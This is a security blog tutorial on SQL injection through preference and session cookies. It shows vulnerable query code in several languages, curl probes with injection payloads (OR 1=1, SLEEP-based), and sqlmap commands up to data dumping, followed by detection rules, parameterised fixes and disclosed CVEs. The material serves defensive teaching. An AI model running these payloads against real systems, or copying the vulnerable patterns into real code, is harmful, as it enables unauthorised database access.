TechEarl

Cookie SQL Injection: When Session and Preference Cookies Become the Attack Surface

Cookie SQL injection happens when an application reads a cookie value and concatenates it into a query, almost always for preference, theme, A/B-bucket, or hand-rolled session lookups. The vulnerable code patterns, manual exploit, sqlmap commands, detection, and the fix.

Ishan Karunaratne⏱️ 8 min readUpdated
Share thisCopied
Cookie-based SQL injection: where it lives in preference and bucket cookies, how to exploit, how to defend

Cookie SQL injection is the case where an application reads a cookie value from the request and concatenates it into a database query. Session cookies are usually safe in modern apps because the framework parses them. The dangerous cookies are everything else: preference cookies, A/B-test buckets, theme selectors, language overrides, view counters, and the hand-rolled session schemes still alive in legacy code.

This is one of the per-vector leaves under the SQL injection deep dive and the HTTP request vector map.

In short: Cookie SQL injection is the case where an application reads a cookie value from the request and concatenates it into a database query. Session cookies are usually safe in modern apps because the framework parses and validates them. The dangerous cookies are everything else: theme preferences, A/B-test buckets, language overrides, visitor counters, and hand-rolled session schemes still alive in legacy code. The exploit is editing the cookie in DevTools (theme_id=1' OR '1'='1) and watching the response change. The fix is one parameterised query plus per-cookie shape validation (a theme ID should match digits only, a language code should match a two-letter pattern). sqlmap tests cookies only when you raise --level to 2 or higher, or when you mark an explicit * injection point inside a cookie value with --cookie.

Cookies are a write-once-then-read-many channel. The application sets a cookie ("language=en"), the browser sends it back on every subsequent request, the application reads it and does something with it. The "does something" is where the bug lives. Common patterns:

  1. Preference lookups. "Look up the user's preferred theme from the themes table by the theme_id stored in the cookie."
  2. A/B-test bucket lookups. "Look up which feature flags this user gets, keyed by the bucket cookie."
  3. Language and region overrides. "Fetch translations for the language code in the cookie."
  4. View-count or activity tracking. "Increment a counter keyed by the visitor_id cookie."
  5. Hand-rolled sessions. "Look up the session row keyed by the session_id cookie." (Most frameworks have parameterised this for a decade. Custom code occasionally has not.)

The first four are the most-exposed because preference, bucket, and tracking cookies are usually written by app code, not framework code, and the developer who wrote the cookie-write also wrote the cookie-read.

The vulnerable code

PHP with MySQL, preference lookup:

php
$theme = $_COOKIE['theme_id'] ?? 'default';
$result = mysqli_query($conn, "SELECT css_url FROM themes WHERE id = '$theme'");
$theme_css = mysqli_fetch_assoc($result)['css_url'];

Python with Flask and a raw SQL call:

python
theme = request.cookies.get('theme_id', 'default')
row = db.execute(f"SELECT css_url FROM themes WHERE id = '{theme}'").fetchone()

Ruby/Rails using find_by_sql:

ruby
theme = cookies[:theme_id] || 'default'
Theme.find_by_sql("SELECT css_url FROM themes WHERE id = '#{theme}'").first

Node.js with Express and a raw pg query:

javascript
const theme = req.cookies.theme_id || 'default';
const result = await pool.query(`SELECT css_url FROM themes WHERE id = '${theme}'`);

The pattern: read the cookie, concatenate into a query, no parameterisation. The same shape every framework. The only thing that varies is the syntax.

Why developers think it's safe

Three mental-model failures, in order of frequency:

  1. "The cookie is something we set, so we know its values." No. The user controls every byte of every cookie in their browser. Open DevTools, edit the cookie value, refresh. The server has no way to verify what it received originated from what it sent without explicit cryptographic signing (which most preference cookies skip).
  2. "Session cookies are validated by the framework, so cookies are safe." Session cookies are validated; preference cookies are not, because the framework does not know they exist. The validation is request-specific, not cookie-specific.
  3. "Cookies are key-value pairs, not query parameters; they cannot inject." They can. A cookie value is a string. Any concatenation of any user-controlled string into a SQL query is potentially exploitable.

How do you test cookies for SQL injection by hand?

First, find a cookie the application reads back into a query. The easiest way is to set the value via DevTools and watch the response change:

bash
# Baseline
curl -s "https://target.example/page" \
  -H "Cookie: theme_id=1" \
  -o baseline.html

# Probe
curl -s "https://target.example/page" \
  -H "Cookie: theme_id=1 OR 1=1" \
  -o probe.html

# Compare
diff baseline.html probe.html | head

If the probe response differs (different theme rendered, more rows touched, a different page entirely), the cookie is in a SQL context.

For an error-based confirmation:

bash
curl -i "https://target.example/page" \
  -H "Cookie: theme_id='" 2>&1 | grep -E '500|error'

For time-based:

bash
curl -w "%{time_total}\n" "https://target.example/page" \
  -H "Cookie: theme_id=1' AND SLEEP(5)-- -"

5+ second response time confirms time-based blind SQLi via the cookie.

For multi-cookie cases (most apps send several), test one cookie at a time. Set every other cookie to a known good value, vary one cookie's value, observe. Tracking down which cookie is the injection point can take a few minutes of iteration.

Two ways.

Test all cookies automatically with --level=2:

bash
sqlmap -u "https://target.example/page" \
  --cookie="session=abc; theme_id=1; ab_bucket=control" \
  --level=2 --batch --random-agent

--level=2 enables cookie testing per the sqlmap official Usage wiki. sqlmap will identify which cookie is injectable.

Target a specific cookie with -p:

bash
sqlmap -u "https://target.example/page" \
  --cookie="session=abc; theme_id=1; ab_bucket=control" \
  -p theme_id --level=2 --batch

Faster, less noise, useful when you already know the suspicious cookie.

Mark an explicit injection point with *:

bash
sqlmap -u "https://target.example/page" \
  --cookie="session=abc; theme_id=1*; ab_bucket=control" \
  --batch

The * after the value tells sqlmap to inject there. Particularly useful when the cookie has a complex structure (signed token, encoded blob) and you only want to inject into one part.

If the application uses a non-standard cookie delimiter (rare but real), specify it:

bash
sqlmap -u "https://target.example/page" \
  --cookie="session=abc, theme_id=1" \
  --cookie-del="," --level=2 --batch

Once injection is confirmed, the enumeration flow is identical to any other vector: --dbs, --tables -D <db>, --columns -D <db> -T <table>, --dump. See the sqlmap cheat sheet.

Detection signals

  • Application logs showing cookie values with SQL syntax: quotes, dashes, parentheses, keywords. Cookie values for legitimate purposes are short and structured (a UUID, a bucket name, a language code). Anything that does not match the expected shape is suspicious.
  • Cookie size jumps. Real cookies are under 100 bytes for preference data. Exploitation payloads run hundreds to thousands of bytes.
  • The same database user reading information_schema. As with every SQLi vector, this is the single highest-signal detection rule.

A worthwhile monitoring rule: log every cookie value the application reads, and alert on any cookie whose value does not match a per-cookie regex. For example, theme_id should match a digits-only pattern, language should match a two-letter code (optionally followed by a region), and ab_bucket should match a lowercase identifier. The regex patterns themselves:

code
theme_id    -> ^[0-9]+$
language    -> ^[a-z]{2}(-[A-Z]{2})?$
ab_bucket   -> ^[a-z_]+$

Anything else is exploitation, framework error, or a legitimate change worth investigating.

Parameterise the lookup. The OWASP SQL Injection Prevention Cheat Sheet covers every major stack. Same rule as every other SQLi vector. PHP with PDO:

php
$stmt = $pdo->prepare("SELECT css_url FROM themes WHERE id = ?");
$stmt->execute([$_COOKIE['theme_id'] ?? 'default']);

Python with sqlite3 (and any DB-API driver):

python
row = db.execute(
    "SELECT css_url FROM themes WHERE id = ?",
    (request.cookies.get('theme_id', 'default'),)
).fetchone()

Node.js with node-postgres:

javascript
const result = await pool.query(
  'SELECT css_url FROM themes WHERE id = $1',
  [req.cookies.theme_id || 'default']
);

Validate the cookie value against an expected shape. Parameterisation prevents SQL injection. Validation prevents your code from making bad lookup decisions on garbage input. For a numeric ID:

python
theme_raw = request.cookies.get('theme_id', '')
if not theme_raw.isdigit() or int(theme_raw) > 1_000_000:
    theme_id = DEFAULT_THEME_ID
else:
    theme_id = int(theme_raw)

For an allow-listed enum:

python
ALLOWED = {'light', 'dark', 'sepia', 'high-contrast'}
theme = request.cookies.get('theme', 'light')
if theme not in ALLOWED:
    theme = 'light'

Sign your preference cookies. If the value is supposed to come from the server, sign it with an HMAC keyed by a server-side secret, and reject unsigned or invalid-signature cookies. This shifts the trust model from "I hope the user did not edit this" to "I can prove the user did not edit this". Frameworks do this for session cookies; most do not for preference cookies because the developer never asked them to.

Defence at the infrastructure level

  • Schema constraints. If theme_id is supposed to be an integer, make the database column an integer. The driver will refuse to bind a string with quotes in it. Defence in depth.
  • Least-privilege database account for read-only paths. The theme lookup needs SELECT on themes and nothing else. No SELECT on users. No SELECT on information_schema.
  • WAF cookie inspection. Most commercial WAFs inspect cookie values. The rules are useful for the obvious payloads but defeated by tamper obfuscation, as with every WAF-based defence.

Common defence mistakes

  1. Trusting cookies because "we set them". The browser stores them; the user controls the browser.
  2. Validating in a middleware that runs before the route, but having the route handler bypass the middleware via a different code path. Test that the validation actually runs on the code path that does the lookup.
  3. Allow-listing the cookie value at the route handler but logging the raw value into an analytics table without parameterisation. Same bug, different code, same outcome. Both paths need to be parameterised.
  4. Signing the cookie but not verifying the signature on every read. If you skip the verification step, the signing was decoration.

Real-world incidents

Cookie-based SQL injection appears in disclosed CVEs across the WordPress ecosystem in particular:

  • WP Cookie User Info plugin (≤ 1.0.8) shipped a SQL injection in the lookup that resolved a tracking cookie to a stored user-info record. Patched in 1.0.9. (Patchstack advisory)
  • WordPress Cookie Data plugin (1.5–1.5.1.3) carried PHP-level injection through cookie values written back into queries; a foundational example of the cookie-as-attack-surface pattern even though it predates the modern WordPress security tooling. (Acunetix write-up)
  • Loginizer (≤ 1.3.5) had a blind SQL injection that fired through a cookie-style header value on every login attempt (CVE-2017-12650). The fix was a single switch to a parameterised query. (WPScan advisory)

Where to go next

Sources

Authoritative references this article was fact-checked against.

TagsSQL InjectionCookiesHTTP HeadersWeb SecuritysqlmapPenetration Testing

Found this useful? Pass it on.

Copied

Ishan Karunaratne

Tech Architect · Software Engineer · AI/DevOps

Tech architect and software engineer with 20+ years building software, Linux systems, and DevOps infrastructure, and lately working AI into the stack. Currently Chief Technology Officer at a healthcare tech startup, which is where most of these field notes come from.

Keep reading

Related posts

SQL Injection in HTTP Requests: Every Vector Attackers Use

A practical map of every place SQL injection can live inside an HTTP request: query string, URL path, request body (form, JSON, XML, multipart filename), and every header from User-Agent to Authorization. Where attackers look, why developers miss each one, and where to start hardening.

SQL Injection in JSON Request Bodies (REST and GraphQL APIs)

JSON-body SQL injection is the modern face of the bug: REST APIs, GraphQL resolvers, and ORM raw-query escape hatches. How developers paint themselves into the corner with template strings around JSON fields, the manual exploit, sqlmap commands with --data and *, and the defence.